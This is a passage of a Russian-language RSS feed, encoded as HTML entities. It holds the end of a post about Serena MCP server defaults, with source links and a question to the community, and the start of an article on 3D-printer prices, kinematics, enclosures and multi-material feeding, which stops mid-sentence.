&#x418;&#x441;&#x445;&#x43E;&#x434;&#x43D;&#x430;&#x44F; &#x437;&#x430;&#x43C;&#x435;&#x442;&#x43A;&#x430; Coji Mizoguchi &#x43D;&#x430; Zenn
oraios/serena &#x2014; &#x440;&#x435;&#x43F;&#x43E;&#x437;&#x438;&#x442;&#x43E;&#x440;&#x438;&#x439; &#x43F;&#x440;&#x43E;&#x435;&#x43A;&#x442;&#x430;
&#x428;&#x430;&#x431;&#x43B;&#x43E;&#x43D; serena_config.yml &#x432; &#x440;&#x435;&#x43F;&#x43E;&#x437;&#x438;&#x442;&#x43E;&#x440;&#x438;&#x438;
&#x414;&#x43E;&#x43A;&#x443;&#x43C;&#x435;&#x43D;&#x442;&#x430;&#x446;&#x438;&#x44F; Serena: &#x434;&#x430;&#x448;&#x431;&#x43E;&#x440;&#x434; &#x438; GUI-&#x438;&#x43D;&#x441;&#x442;&#x440;&#x443;&#x43C;&#x435;&#x43D;&#x442;&#x44B;
&#x414;&#x43E;&#x43A;&#x443;&#x43C;&#x435;&#x43D;&#x442;&#x430;&#x446;&#x438;&#x44F; Serena: &#x43F;&#x43E;&#x434;&#x43A;&#x43B;&#x44E;&#x447;&#x435;&#x43D;&#x438;&#x435; &#x43A;&#x43B;&#x438;&#x435;&#x43D;&#x442;&#x43E;&#x432;


&#x1F4AC; &#x412;&#x43E;&#x43F;&#x440;&#x43E;&#x441; &#x43A; &#x441;&#x43E;&#x43E;&#x431;&#x449;&#x435;&#x441;&#x442;&#x432;&#x443; &#x41A;&#x430;&#x43A;&#x438;&#x435; &#x435;&#x449;&#x451; &#x434;&#x435;&#x444;&#x43E;&#x43B;&#x442;&#x44B; MCP-&#x441;&#x435;&#x440;&#x432;&#x435;&#x440;&#x43E;&#x432; &#x432;&#x44B; &#x433;&#x430;&#x441;&#x438;&#x442;&#x435; &#x441;&#x440;&#x430;&#x437;&#x443; &#x43F;&#x43E;&#x441;&#x43B;&#x435; &#x443;&#x441;&#x442;&#x430;&#x43D;&#x43E;&#x432;&#x43A;&#x438;? &#x423; &#x43C;&#x435;&#x43D;&#x44F; &#x43F;&#x43E;&#x441;&#x442;&#x435;&#x43F;&#x435;&#x43D;&#x43D;&#x43E; &#x43D;&#x430;&#x431;&#x438;&#x440;&#x430;&#x435;&#x442;&#x441;&#x44F; &#x43F;&#x435;&#x440;&#x435;&#x447;&#x435;&#x43D;&#x44C; &#x43F;&#x43E;&#x434;&#x43E;&#x431;&#x43D;&#x44B;&#x445; &#x43C;&#x435;&#x43B;&#x43E;&#x447;&#x435;&#x439;: &#x441;&#x430;&#x43C;&#x43E;&#x437;&#x430;&#x43F;&#x443;&#x441;&#x43A;&#x430;&#x44E;&#x449;&#x438;&#x435;&#x441;&#x44F; &#x438;&#x43D;&#x442;&#x435;&#x440;&#x444;&#x435;&#x439;&#x441;&#x44B;, &#x438;&#x437;&#x431;&#x44B;&#x442;&#x43E;&#x447;&#x43D;&#x44B;&#x435; &#x43B;&#x43E;&#x433;&#x438;, &#x438;&#x43D;&#x441;&#x442;&#x440;&#x443;&#x43C;&#x435;&#x43D;&#x442;&#x44B;, &#x43A;&#x43E;&#x442;&#x43E;&#x440;&#x44B;&#x435; &#x437;&#x430;&#x43D;&#x438;&#x43C;&#x430;&#x44E;&#x442; &#x43A;&#x43E;&#x43D;&#x442;&#x435;&#x43A;&#x441;&#x442; &#x438; &#x43F;&#x440;&#x438; &#x44D;&#x442;&#x43E;&#x43C; &#x43D;&#x438; &#x440;&#x430;&#x437;&#x443; &#x43D;&#x435; &#x432;&#x44B;&#x437;&#x44B;&#x432;&#x430;&#x43B;&#x438;&#x441;&#x44C;. &#x411;&#x44B;&#x43B;&#x43E; &#x431;&#x44B; &#x438;&#x43D;&#x442;&#x435;&#x440;&#x435;&#x441;&#x43D;&#x43E; &#x441;&#x432;&#x435;&#x441;&#x442;&#x438; &#x43E;&#x431;&#x449;&#x438;&#x439; &#x441;&#x43F;&#x438;&#x441;&#x43E;&#x43A; &#x2014; &#x447;&#x442;&#x43E; &#x432;&#x44B; &#x43F;&#x440;&#x430;&#x432;&#x438;&#x442;&#x435; &#x43F;&#x435;&#x440;&#x432;&#x44B;&#x43C; &#x434;&#x435;&#x43B;&#x43E;&#x43C;?</description><pubDate>Tue, 18 Aug 2026 21:45:34 +0000</pubDate></item><item><title>&#x421;&#x43A;&#x43E;&#x43B;&#x44C;&#x43A;&#x43E; &#x441;&#x442;&#x43E;&#x438;&#x442; &#x43D;&#x430;&#x447;&#x430;&#x442;&#x44C; &#x43F;&#x435;&#x447;&#x430;&#x442;&#x430;&#x442;&#x44C;: &#x440;&#x44B;&#x43D;&#x43E;&#x43A; 3D-&#x43F;&#x440;&#x438;&#x43D;&#x442;&#x435;&#x440;&#x43E;&#x432; &#x43F;&#x43E; &#x446;&#x435;&#x43D;&#x43E;&#x432;&#x44B;&#x43C; &#x43F;&#x43E;&#x440;&#x43E;&#x433;&#x430;&#x43C; &#x438; &#x447;&#x442;&#x43E; &#x434;&#x435;&#x43B;&#x430;&#x442;&#x44C; &#x43F;&#x43E;&#x441;&#x43B;&#x435; &#x43F;&#x43E;&#x43A;&#x443;&#x43F;&#x43A;&#x438;</title><link><![CDATA[https://openode.xyz/topic/2044-%D1%81%D0%BA%D0%BE%D0%BB%D1%8C%D0%BA%D0%BE-%D1%81%D1%82%D0%BE%D0%B8%D1%82-%D0%BD%D0%B0%D1%87%D0%B0%D1%82%D1%8C-%D0%BF%D0%B5%D1%87%D0%B0%D1%82%D0%B0%D1%82%D1%8C-%D1%80%D1%8B%D0%BD%D0%BE%D0%BA-3d-%D0%BF%D1%80%D0%B8%D0%BD%D1%82%D0%B5%D1%80%D0%BE%D0%B2-%D0%BF%D0%BE-%D1%86%D0%B5%D0%BD%D0%BE%D0%B2%D1%8B%D0%BC-%D0%BF%D0%BE%D1%80%D0%BE%D0%B3%D0%B0%D0%BC-%D0%B8-%D1%87%D1%82%D0%BE-%D0%B4%D0%B5%D0%BB%D0%B0%D1%82%D1%8C-%D0%BF%D0%BE%D1%81%D0%BB%D0%B5-%D0%BF%D0%BE%D0%BA%D1%83%D0%BF%D0%BA%D0%B8/?do=findComment&comment=9214]]></link><description>&#x41F;&#x44F;&#x442;&#x44C; &#x446;&#x435;&#x43D;&#x43E;&#x432;&#x44B;&#x445; &#x43F;&#x43E;&#x440;&#x43E;&#x433;&#x43E;&#x432;, &#x440;&#x43E;&#x437;&#x43D;&#x438;&#x447;&#x43D;&#x44B;&#x435; &#x446;&#x435;&#x43D;&#x44B; &#x432; &#x420;&#x424; &#x438; &#x442;&#x43E;, &#x447;&#x442;&#x43E; &#x434;&#x435;&#x43B;&#x430;&#x44E;&#x442; &#x432; &#x43F;&#x435;&#x440;&#x432;&#x44B;&#x435; &#x434;&#x43D;&#x438; &#x43F;&#x43E;&#x441;&#x43B;&#x435; &#x440;&#x430;&#x441;&#x43F;&#x430;&#x43A;&#x43E;&#x432;&#x43A;&#x438;

&#x420;&#x44B;&#x43D;&#x43E;&#x43A; &#x431;&#x44B;&#x442;&#x43E;&#x432;&#x43E;&#x439; 3D-&#x43F;&#x435;&#x447;&#x430;&#x442;&#x438; &#x437;&#x430; &#x43F;&#x44F;&#x442;&#x44C; &#x43B;&#x435;&#x442; &#x43F;&#x435;&#x440;&#x435;&#x432;&#x435;&#x440;&#x43D;&#x443;&#x43B;&#x441;&#x44F;. &#x420;&#x430;&#x43D;&#x44C;&#x448;&#x435; &#x43F;&#x43E;&#x43A;&#x443;&#x43F;&#x43A;&#x430; &#x43E;&#x437;&#x43D;&#x430;&#x447;&#x430;&#x43B;&#x430; &#x43A;&#x43E;&#x43D;&#x441;&#x442;&#x440;&#x443;&#x43A;&#x442;&#x43E;&#x440; &#x438; &#x434;&#x43E;&#x43B;&#x433;&#x438;&#x435; &#x43C;&#x435;&#x441;&#x44F;&#x446;&#x44B; &#x43E;&#x431;&#x443;&#x447;&#x435;&#x43D;&#x438;&#x44F; &#x435;&#x433;&#x43E; &#x43A;&#x430;&#x43F;&#x440;&#x438;&#x437;&#x430;&#x43C; &#x2014; &#x441;&#x435;&#x433;&#x43E;&#x434;&#x43D;&#x44F; &#x434;&#x432;&#x430;&#x434;&#x446;&#x430;&#x442;&#x44C; &#x442;&#x44B;&#x441;&#x44F;&#x447; &#x440;&#x443;&#x431;&#x43B;&#x435;&#x439; &#x434;&#x430;&#x44E;&#x442; &#x43A;&#x43E;&#x440;&#x43E;&#x431;&#x43A;&#x443;, &#x43A;&#x43E;&#x442;&#x43E;&#x440;&#x430;&#x44F; &#x441;&#x430;&#x43C;&#x430; &#x43F;&#x440;&#x43E;&#x432;&#x43E;&#x434;&#x438;&#x442; &#x43A;&#x430;&#x43B;&#x438;&#x431;&#x440;&#x43E;&#x432;&#x43A;&#x443; &#x438; &#x432;&#x44B;&#x434;&#x430;&#x451;&#x442; &#x43D;&#x43E;&#x440;&#x43C;&#x430;&#x43B;&#x44C;&#x43D;&#x44B;&#x439; &#x442;&#x435;&#x441;&#x442;&#x43E;&#x432;&#x44B;&#x439; &#x43A;&#x443;&#x431;&#x438;&#x43A; &#x43C;&#x438;&#x43D;&#x443;&#x442; &#x447;&#x435;&#x440;&#x435;&#x437; &#x434;&#x432;&#x430;&#x434;&#x446;&#x430;&#x442;&#x44C; &#x43F;&#x43E;&#x441;&#x43B;&#x435; &#x432;&#x441;&#x43A;&#x440;&#x44B;&#x442;&#x438;&#x44F; &#x443;&#x43F;&#x430;&#x43A;&#x43E;&#x432;&#x43A;&#x438;. &#x41F;&#x440;&#x43E;&#x43C;&#x430;&#x445;&#x43D;&#x443;&#x442;&#x44C;&#x441;&#x44F; &#x442;&#x435;&#x43F;&#x435;&#x440;&#x44C; &#x442;&#x440;&#x443;&#x434;&#x43D;&#x435;&#x435;. &#x417;&#x430;&#x442;&#x43E; &#x43F;&#x435;&#x440;&#x435;&#x43F;&#x43B;&#x430;&#x442;&#x438;&#x442;&#x44C; &#x2014; &#x43B;&#x435;&#x433;&#x447;&#x435;: &#x437;&#x430; &#x441;&#x43A;&#x43E;&#x440;&#x43E;&#x441;&#x442;&#x43D;&#x44B;&#x435; &#x446;&#x438;&#x444;&#x440;&#x44B;, &#x43A;&#x43E;&#x442;&#x43E;&#x440;&#x44B;&#x435; &#x432;&#x430;&#x43C; &#x43D;&#x438; &#x43A; &#x447;&#x435;&#x43C;&#x443;, &#x437;&#x430; &#x43C;&#x43D;&#x43E;&#x433;&#x43E;&#x446;&#x432;&#x435;&#x442;&#x43D;&#x443;&#x44E; &#x43F;&#x43E;&#x434;&#x430;&#x447;&#x443;, &#x432;&#x43A;&#x43B;&#x44E;&#x447;&#x451;&#x43D;&#x43D;&#x443;&#x44E; &#x43E;&#x442; &#x441;&#x438;&#x43B;&#x44B; &#x43F;&#x430;&#x440;&#x443; &#x440;&#x430;&#x437;, &#x437;&#x430; &#x433;&#x435;&#x440;&#x43C;&#x435;&#x442;&#x438;&#x447;&#x43D;&#x44B;&#x439; &#x43A;&#x43E;&#x436;&#x443;&#x445; &#x43F;&#x43E;&#x434; &#x43C;&#x430;&#x442;&#x435;&#x440;&#x438;&#x430;&#x43B;&#x44B;, &#x43A;&#x43E;&#x442;&#x43E;&#x440;&#x44B;&#x435; &#x432;&#x44B; &#x43D;&#x435; &#x441;&#x442;&#x430;&#x43D;&#x435;&#x442;&#x435; &#x43F;&#x43E;&#x43A;&#x443;&#x43F;&#x430;&#x442;&#x44C;. 

&#x417;&#x430;&#x434;&#x430;&#x447;&#x430; &#x44D;&#x442;&#x43E;&#x433;&#x43E; &#x43C;&#x430;&#x442;&#x435;&#x440;&#x438;&#x430;&#x43B;&#x430; &#x2014; &#x440;&#x430;&#x437;&#x43B;&#x43E;&#x436;&#x438;&#x442;&#x44C; &#x43F;&#x440;&#x435;&#x434;&#x43B;&#x43E;&#x436;&#x435;&#x43D;&#x438;&#x435; &#x43F;&#x43E; &#x446;&#x435;&#x43D;&#x43E;&#x432;&#x44B;&#x43C; &#x43F;&#x43E;&#x440;&#x43E;&#x433;&#x430;&#x43C; &#x438; &#x43F;&#x43E;&#x43A;&#x430;&#x437;&#x430;&#x442;&#x44C;, &#x433;&#x434;&#x435; &#x438;&#x43C;&#x435;&#x43D;&#x43D;&#x43E; &#x437;&#x430;&#x43A;&#x430;&#x43D;&#x447;&#x438;&#x432;&#x430;&#x435;&#x442;&#x441;&#x44F; &#x432;&#x430;&#x448; &#x441;&#x446;&#x435;&#x43D;&#x430;&#x440;&#x438;&#x439;. &#x412;&#x441;&#x435; &#x441;&#x443;&#x43C;&#x43C;&#x44B; &#x2014; &#x440;&#x43E;&#x437;&#x43D;&#x438;&#x446;&#x430; &#x420;&#x424;, &#x437;&#x430;&#x444;&#x438;&#x43A;&#x441;&#x438;&#x440;&#x43E;&#x432;&#x430;&#x43D;&#x43D;&#x430;&#x44F; 18 &#x430;&#x432;&#x433;&#x443;&#x441;&#x442;&#x430; 2026 &#x433;&#x43E;&#x434;&#x430; &#x43F;&#x43E; &#x43D;&#x435;&#x441;&#x43A;&#x43E;&#x43B;&#x44C;&#x43A;&#x438;&#x43C; &#x43F;&#x43B;&#x43E;&#x449;&#x430;&#x434;&#x43A;&#x430;&#x43C; &#x441;&#x440;&#x430;&#x437;&#x443;. &#x41E;&#x434;&#x43D;&#x430; &#x438; &#x442;&#x430; &#x436;&#x435; &#x43C;&#x43E;&#x434;&#x435;&#x43B;&#x44C; &#x443; &#x440;&#x430;&#x437;&#x43D;&#x44B;&#x445; &#x43F;&#x440;&#x43E;&#x434;&#x430;&#x432;&#x446;&#x43E;&#x432; &#x440;&#x430;&#x437;&#x43B;&#x438;&#x447;&#x430;&#x435;&#x442;&#x441;&#x44F; &#x432; &#x446;&#x435;&#x43D;&#x435; &#x432;&#x43F;&#x43B;&#x43E;&#x442;&#x44C; &#x434;&#x43E; &#x43F;&#x43E;&#x43B;&#x443;&#x442;&#x43E;&#x440;&#x430; &#x440;&#x430;&#x437;, &#x43F;&#x43E;&#x44D;&#x442;&#x43E;&#x43C;&#x443; &#x434;&#x430;&#x43B;&#x44C;&#x448;&#x435; &#x432;&#x435;&#x437;&#x434;&#x435; &#x434;&#x438;&#x430;&#x43F;&#x430;&#x437;&#x43E;&#x43D;&#x44B;. 

&#x26A0;&#xFE0F; &#x41E;&#x441;&#x442;&#x43E;&#x440;&#x43E;&#x436;&#x43D;&#x43E; &#x41F;&#x430;&#x440;&#x430; &#x441;&#x43B;&#x43E;&#x432; &#x43E; &#x436;&#x430;&#x43D;&#x440;&#x435; &#xAB;&#x442;&#x43E;&#x43F;-10 &#x43F;&#x440;&#x438;&#x43D;&#x442;&#x435;&#x440;&#x43E;&#x432;&#xBB;. &#x41F;&#x43E;&#x447;&#x442;&#x438; &#x432;&#x441;&#x435; &#x442;&#x430;&#x43A;&#x438;&#x435; &#x43F;&#x43E;&#x434;&#x431;&#x43E;&#x440;&#x43A;&#x438; &#x432; &#x43F;&#x43E;&#x438;&#x441;&#x43A;&#x435; &#x436;&#x438;&#x432;&#x443;&#x442; &#x43D;&#x430; &#x434;&#x43E;&#x43C;&#x435;&#x43D;&#x430;&#x445; &#x43C;&#x430;&#x433;&#x430;&#x437;&#x438;&#x43D;&#x43E;&#x432; &#x438; &#x43F;&#x440;&#x43E;&#x438;&#x437;&#x432;&#x43E;&#x434;&#x438;&#x442;&#x435;&#x43B;&#x435;&#x439;. &#x41F;&#x440;&#x44F;&#x43C;&#x43E;&#x439; &#x43B;&#x436;&#x438; &#x442;&#x430;&#x43C; &#x43E;&#x431;&#x44B;&#x447;&#x43D;&#x43E; &#x43D;&#x435;&#x442;, &#x43D;&#x43E; &#x43E;&#x447;&#x435;&#x440;&#x451;&#x434;&#x43D;&#x43E;&#x441;&#x442;&#x44C; &#x432; &#x441;&#x43F;&#x438;&#x441;&#x43A;&#x435; &#x434;&#x438;&#x43A;&#x442;&#x443;&#x435;&#x442; &#x43C;&#x430;&#x440;&#x436;&#x438;&#x43D;&#x430;&#x43B;&#x44C;&#x43D;&#x43E;&#x441;&#x442;&#x44C;, &#x430; &#x43D;&#x435; &#x441;&#x43E;&#x43E;&#x442;&#x432;&#x435;&#x442;&#x441;&#x442;&#x432;&#x438;&#x435; &#x432;&#x430;&#x448;&#x435;&#x439; &#x437;&#x430;&#x434;&#x430;&#x447;&#x435;. &#x41F;&#x43E;&#x43B;&#x435;&#x437;&#x43D;&#x430;&#x44F; &#x43F;&#x440;&#x438;&#x432;&#x44B;&#x447;&#x43A;&#x430; &#x2014; &#x441;&#x43C;&#x43E;&#x442;&#x440;&#x435;&#x442;&#x44C;, &#x447;&#x435;&#x439; &#x434;&#x43E;&#x43C;&#x435;&#x43D; &#x432;&#x44B; &#x441;&#x435;&#x439;&#x447;&#x430;&#x441; &#x447;&#x438;&#x442;&#x430;&#x435;&#x442;&#x435;. 

&#x418;&#x437; &#x447;&#x435;&#x433;&#x43E; &#x441;&#x43A;&#x43B;&#x430;&#x434;&#x44B;&#x432;&#x430;&#x435;&#x442;&#x441;&#x44F; &#x446;&#x435;&#x43D;&#x43D;&#x438;&#x43A;

&#x421;&#x442;&#x43E;&#x438;&#x43C;&#x43E;&#x441;&#x442;&#x44C; FDM-&#x43C;&#x430;&#x448;&#x438;&#x43D;&#x44B; &#x43E;&#x43F;&#x440;&#x435;&#x434;&#x435;&#x43B;&#x44F;&#x44E;&#x442; &#x442;&#x440;&#x438; &#x444;&#x430;&#x43A;&#x442;&#x43E;&#x440;&#x430;. &#x420;&#x430;&#x437;&#x43E;&#x431;&#x440;&#x430;&#x432;&#x448;&#x438;&#x441;&#x44C; &#x432; &#x43D;&#x438;&#x445;, &#x432;&#x44B; &#x441;&#x44D;&#x43A;&#x43E;&#x43D;&#x43E;&#x43C;&#x438;&#x442;&#x435; &#x431;&#x43E;&#x43B;&#x44C;&#x448;&#x435;, &#x447;&#x435;&#x43C; &#x43F;&#x440;&#x43E;&#x447;&#x438;&#x442;&#x430;&#x432; &#x434;&#x435;&#x441;&#x44F;&#x442;&#x43E;&#x43A; &#x43E;&#x431;&#x437;&#x43E;&#x440;&#x43E;&#x432;. 

&#x421;&#x445;&#x435;&#x43C;&#x430; &#x434;&#x432;&#x438;&#x436;&#x435;&#x43D;&#x438;&#x44F;

&#x412; &#x43D;&#x435;&#x434;&#x43E;&#x440;&#x43E;&#x433;&#x43E;&#x43C; &#x441;&#x435;&#x433;&#x43C;&#x435;&#x43D;&#x442;&#x435; &#x43F;&#x440;&#x438;&#x43C;&#x435;&#x43D;&#x44F;&#x435;&#x442;&#x441;&#x44F; &#xAB;&#x431;&#x435;&#x434;&#x441;&#x43B;&#x438;&#x43D;&#x433;&#x435;&#x440;&#xBB;: &#x43F;&#x435;&#x447;&#x430;&#x442;&#x430;&#x44E;&#x449;&#x430;&#x44F; &#x433;&#x43E;&#x43B;&#x43E;&#x432;&#x430; &#x43F;&#x435;&#x440;&#x435;&#x43C;&#x435;&#x449;&#x430;&#x435;&#x442;&#x441;&#x44F; &#x43F;&#x43E; &#x43E;&#x441;&#x438; X, &#x430; &#x43F;&#x43B;&#x430;&#x442;&#x444;&#x43E;&#x440;&#x43C;&#x430; &#x432;&#x43C;&#x435;&#x441;&#x442;&#x435; &#x441; &#x440;&#x430;&#x441;&#x442;&#x443;&#x449;&#x435;&#x439; &#x434;&#x435;&#x442;&#x430;&#x43B;&#x44C;&#x44E; &#x43A;&#x430;&#x442;&#x430;&#x435;&#x442;&#x441;&#x44F; &#x432;&#x437;&#x430;&#x434;-&#x432;&#x43F;&#x435;&#x440;&#x451;&#x434; &#x43F;&#x43E; Y. &#x414;&#x43E;&#x440;&#x43E;&#x433;&#x438;&#x435; &#x430;&#x43F;&#x43F;&#x430;&#x440;&#x430;&#x442;&#x44B; &#x438;&#x441;&#x43F;&#x43E;&#x43B;&#x44C;&#x437;&#x443;&#x44E;&#x442; CoreXY, &#x433;&#x434;&#x435; &#x433;&#x43E;&#x43B;&#x43E;&#x432;&#x430; &#x43E;&#x431;&#x441;&#x43B;&#x443;&#x436;&#x438;&#x432;&#x430;&#x435;&#x442; &#x43E;&#x431;&#x435; &#x433;&#x43E;&#x440;&#x438;&#x437;&#x43E;&#x43D;&#x442;&#x430;&#x43B;&#x44C;&#x43D;&#x44B;&#x435; &#x43E;&#x441;&#x438;, &#x430; &#x43F;&#x43B;&#x430;&#x442;&#x444;&#x43E;&#x440;&#x43C;&#x435; &#x43E;&#x441;&#x442;&#x430;&#x451;&#x442;&#x441;&#x44F; &#x43B;&#x438;&#x448;&#x44C; &#x43E;&#x43F;&#x443;&#x441;&#x43A;&#x430;&#x442;&#x44C;&#x441;&#x44F;. &#x41C;&#x430;&#x440;&#x43A;&#x435;&#x442;&#x438;&#x43D;&#x433;&#x430; &#x442;&#x443;&#x442; &#x43D;&#x43E;&#x43B;&#x44C;: &#x443; &#x431;&#x435;&#x434;&#x441;&#x43B;&#x438;&#x43D;&#x433;&#x435;&#x440;&#x430; &#x440;&#x43E;&#x441;&#x43B;&#x430;&#x44F; &#x434;&#x435;&#x442;&#x430;&#x43B;&#x44C; &#x43D;&#x430; &#x432;&#x44B;&#x441;&#x43E;&#x43A;&#x43E;&#x439; &#x441;&#x43A;&#x43E;&#x440;&#x43E;&#x441;&#x442;&#x438; &#x43A;&#x430;&#x447;&#x430;&#x435;&#x442;&#x441;&#x44F; &#x432;&#x43C;&#x435;&#x441;&#x442;&#x435; &#x441;&#x43E; &#x441;&#x442;&#x43E;&#x43B;&#x43E;&#x43C;, &#x442;&#x430;&#x43A; &#x447;&#x442;&#x43E; &#x43F;&#x440;&#x438;&#x445;&#x43E;&#x434;&#x438;&#x442;&#x441;&#x44F; &#x432;&#x44B;&#x431;&#x438;&#x440;&#x430;&#x442;&#x44C; &#x43C;&#x435;&#x436;&#x434;&#x443; &#x430;&#x440;&#x442;&#x435;&#x444;&#x430;&#x43A;&#x442;&#x430;&#x43C;&#x438; &#x438; &#x441;&#x43D;&#x438;&#x436;&#x435;&#x43D;&#x438;&#x435;&#x43C; &#x442;&#x435;&#x43C;&#x43F;&#x430;. 

&#x421;&#x445;&#x435;&#x43C;&#x430; &#x43D;&#x430; &#x43E;&#x441;&#x43D;&#x43E;&#x432;&#x435; &#x43E;&#x43F;&#x438;&#x441;&#x430;&#x43D;&#x438;&#x439; &#x43A;&#x438;&#x43D;&#x435;&#x43C;&#x430;&#x442;&#x438;&#x43A;&#x438; &#x432; &#x434;&#x43E;&#x43A;&#x443;&#x43C;&#x435;&#x43D;&#x442;&#x430;&#x446;&#x438;&#x438; Bambu Lab, Creality &#x438; Elegoo

&#x41A;&#x43E;&#x436;&#x443;&#x445;

&#x417;&#x430;&#x43C;&#x43A;&#x43D;&#x443;&#x442;&#x430;&#x44F; &#x43A;&#x430;&#x43C;&#x435;&#x440;&#x430; &#x440;&#x435;&#x448;&#x430;&#x435;&#x442; &#x440;&#x43E;&#x432;&#x43D;&#x43E; &#x43E;&#x434;&#x43D;&#x443; &#x437;&#x430;&#x434;&#x430;&#x447;&#x443; &#x2014; &#x43D;&#x435; &#x434;&#x430;&#x442;&#x44C; &#x434;&#x435;&#x442;&#x430;&#x43B;&#x438; &#x438;&#x437; ABS, ASA &#x438;&#x43B;&#x438; &#x43F;&#x43E;&#x43B;&#x438;&#x430;&#x43C;&#x438;&#x434;&#x430; &#x440;&#x430;&#x441;&#x442;&#x440;&#x435;&#x441;&#x43A;&#x430;&#x442;&#x44C;&#x441;&#x44F; &#x438;&#x437;-&#x437;&#x430; &#x441;&#x43A;&#x432;&#x43E;&#x437;&#x43D;&#x44F;&#x43A;&#x430; &#x43F;&#x440;&#x438; &#x43E;&#x441;&#x442;&#x44B;&#x432;&#x430;&#x43D;&#x438;&#x438;. &#x414;&#x43B;&#x44F; PLA &#x438; PETG &#x43E;&#x43D;&#x430; &#x431;&#x435;&#x441;&#x43F;&#x43E;&#x43B;&#x435;&#x437;&#x43D;&#x430;, &#x430; &#x43F;&#x43E;&#x440;&#x43E;&#x439; &#x438; &#x43C;&#x435;&#x448;&#x430;&#x435;&#x442;: &#x43F;&#x435;&#x440;&#x435;&#x433;&#x440;&#x435;&#x442;&#x430;&#x44F; &#x43A;&#x430;&#x43C;&#x435;&#x440;&#x430; &#x443;&#x445;&#x443;&#x434;&#x448;&#x430;&#x435;&#x442; &#x43E;&#x431;&#x434;&#x443;&#x432; PLA. &#x41E;&#x442;&#x441;&#x44E;&#x434;&#x430; &#x43E;&#x442;&#x432;&#x435;&#x442; &#x43D;&#x430; &#x432;&#x43E;&#x43F;&#x440;&#x43E;&#x441; &#xAB;&#x430; &#x432;&#x434;&#x440;&#x443;&#x433; &#x43F;&#x440;&#x438;&#x433;&#x43E;&#x434;&#x438;&#x442;&#x441;&#x44F;&#xBB; &#x2014; &#x43F;&#x440;&#x438;&#x433;&#x43E;&#x434;&#x438;&#x442;&#x441;&#x44F; &#x438;&#x441;&#x43A;&#x43B;&#x44E;&#x447;&#x438;&#x442;&#x435;&#x43B;&#x44C;&#x43D;&#x43E; &#x43F;&#x440;&#x438; &#x440;&#x435;&#x430;&#x43B;&#x44C;&#x43D;&#x43E;&#x43C; &#x43F;&#x435;&#x440;&#x435;&#x445;&#x43E;&#x434;&#x435; &#x43D;&#x430; &#x438;&#x43D;&#x436;&#x435;&#x43D;&#x435;&#x440;&#x43D;&#x44B;&#x435; &#x43C;&#x430;&#x442;&#x435;&#x440;&#x438;&#x430;&#x43B;&#x44B;. 

&#x41F;&#x43E;&#x434;&#x430;&#x447;&#x430; &#x43D;&#x435;&#x441;&#x43A;&#x43E;&#x43B;&#x44C;&#x43A;&#x438;&#x445; &#x43C;&#x430;&#x442;&#x435;&#x440;&#x438;&#x430;&#x43B;&#x43E;&#x432;

&#x421;&#x43B;&#x43E;&#x432;&#x43E; Combo &#x432; &#x43D;&#x430;&#x437;&#x432;&#x430;&#x43D;&#x438;&#x438; &#x443;&#x43A;&#x430;&#x437;&#x44B;&#x432;&#x430;&#x435;&#x442; &#x43D;&#x430; &#x43C;&#x43E;&#x434;&#x443;&#x43B;&#x44C; &#x43F;&#x43E;&#x434;&#x430;&#x447;&#x438; &#x2014; AMS &#x443; Bambu Lab, CFS &#x443; Creality, ACE &#x443; Anycubic, &#x2014; &#x43F;&#x435;&#x440;&#x435;&#x43A;&#x43B;&#x44E;&#x447;&#x430;&#x44E;&#x449;&#x438;&#x439; &#x43A;&#x430;&#x442;&#x443;&#x448;&#x43A;&#x438;. &#x41D;&#x430;&#x434;&#x431;&#x430;&#x432;&#x43A;&#x430; &#x441;&#x43E;&#x441;&#x442;&#x430;&#x432;&#x43B;&#x44F;&#x435;&#x442; 15&#x2013;30 &#x442;&#x44B;&#x441;&#x44F;&#x447;, &#x430; &#x43F;&#x435;&#x447;&#x430;&#x442;&#x44C; &#x432;&#x435;&#x434;&#x451;&#x442;&#x441;&#x44F; &#x432;&#x441;&#x451; &#x442;&#x435;&#x43C; &#x436;&#x435; &#x435;&#x434;&#x438;&#x43D;&#x441;&#x442;&#x432;&#x435;&#x43D;&#x43D;&#x44B;&#x43C; &#x441;&#x43E;&#x43F;&#x43B;&#x43E;&#x43C;, &#x438;&#x437;-&#x437;&#x430; &#x447;&#x435;&#x433;&#x43E; &#x43A;&#x430;&#x436;&#x434;&#x430;&#x44F; &#x441;&#x43C;&#x435;&#x43D;&#x430; &#x446;&#x432;&#x435;&#x442;&#x430; &#x43E;&#x442;&#x43F;&#x440;&#x430;&#x432;&#x43B;&#x44F;&#x435;&#x442; &#x447;&#x430;&#x441;&#x442;&#x44C; &#x43F;&#x440;&#x443;&#x442;&#x43A;&#x430; &#x432; &#x43F;&#x440;&#x43E;&#x43C;&#x44B;&#x432;&#x43E;&#x447;&#x43D;&#x44B;&#x439; &#x43E;&#x442;&#x445;&#x43E;&#x434;. &#x41D;&#x438;&#x43A;&#x430;&#x43A;&#x438;&#x445; &#xAB;&#x431;&#x435;&#x441;&#x43F;&#x43B;&#x430;&#x442;&#x43D;&#x44B;&#x445; &#x446;&#x432;&#x435;&#x442;&#x43E;&#x432;&#xBB;: &#x432;&#x44B; &#x43C;&#x435;&#x43D;&#x44F;&#x435;&#x442;&#x435; &#x43F;&#x43B;&#x430;&#x441;&#x442;&#x438;&#x43A; &#x438; &#x432;&#x440;&#x435;&#x43C;&#x44F; &#x43D;&#x430; &#x432;&#x43D;&#x435;&#x448;&#x43D;&#x438;&#x439; &#x432;&#x438;&#x434;. 

&#x2757; &#x413;&#x43B;&#x430;&#x432;&#x43D;&#x43E;&#x435; &#x41F;&#x440;&#x430;&#x432;&#x438;&#x43B;&#x43E; &#x43F;&#x440;&#x43E;&#x441;&#x442;&#x43E;&#x435;: &#x434;&#x435;&#x43D;&#x44C;&#x433;&#x438; &#x43E;&#x442;&#x434;&#x430;&#x44E;&#x442;&#x441;&#x44F; &#x437;&#x430; &#x442;&#x43E;, &#x447;&#x442;&#x43E; &#x444;&#x438;&#x437;&#x438;&#x447;&#x435;&#x441;&#x43A;&#x438; &#x43C;&#x435;&#x43D;&#x44F;&#x435;&#x442; &#x438;&#x442;&#x43E;&#x433; &#x43F;&#x440;&#x438;&#x43C;&#x435;&#x43D;&#x438;&#x442;&#x435;&#x43B;&#x44C;&#x43D;&#x43E; &#x43A; &#x432;&#x430;&#x448;&#x435;&#x43C;&#x443; &#x441;&#x446;&#x435;&#x43D;&#x430;&#x440;&#x438;&#x44E;, &#x430; &#x43D;&#x435; &#x437;&#x430; &#x43A;&#x440;&#x430;&#x441;&#x438;&#x432;&#x443;&#x44E; &#x441;&#x442;&#x440;&#x43E;&#x43A;&#x443; 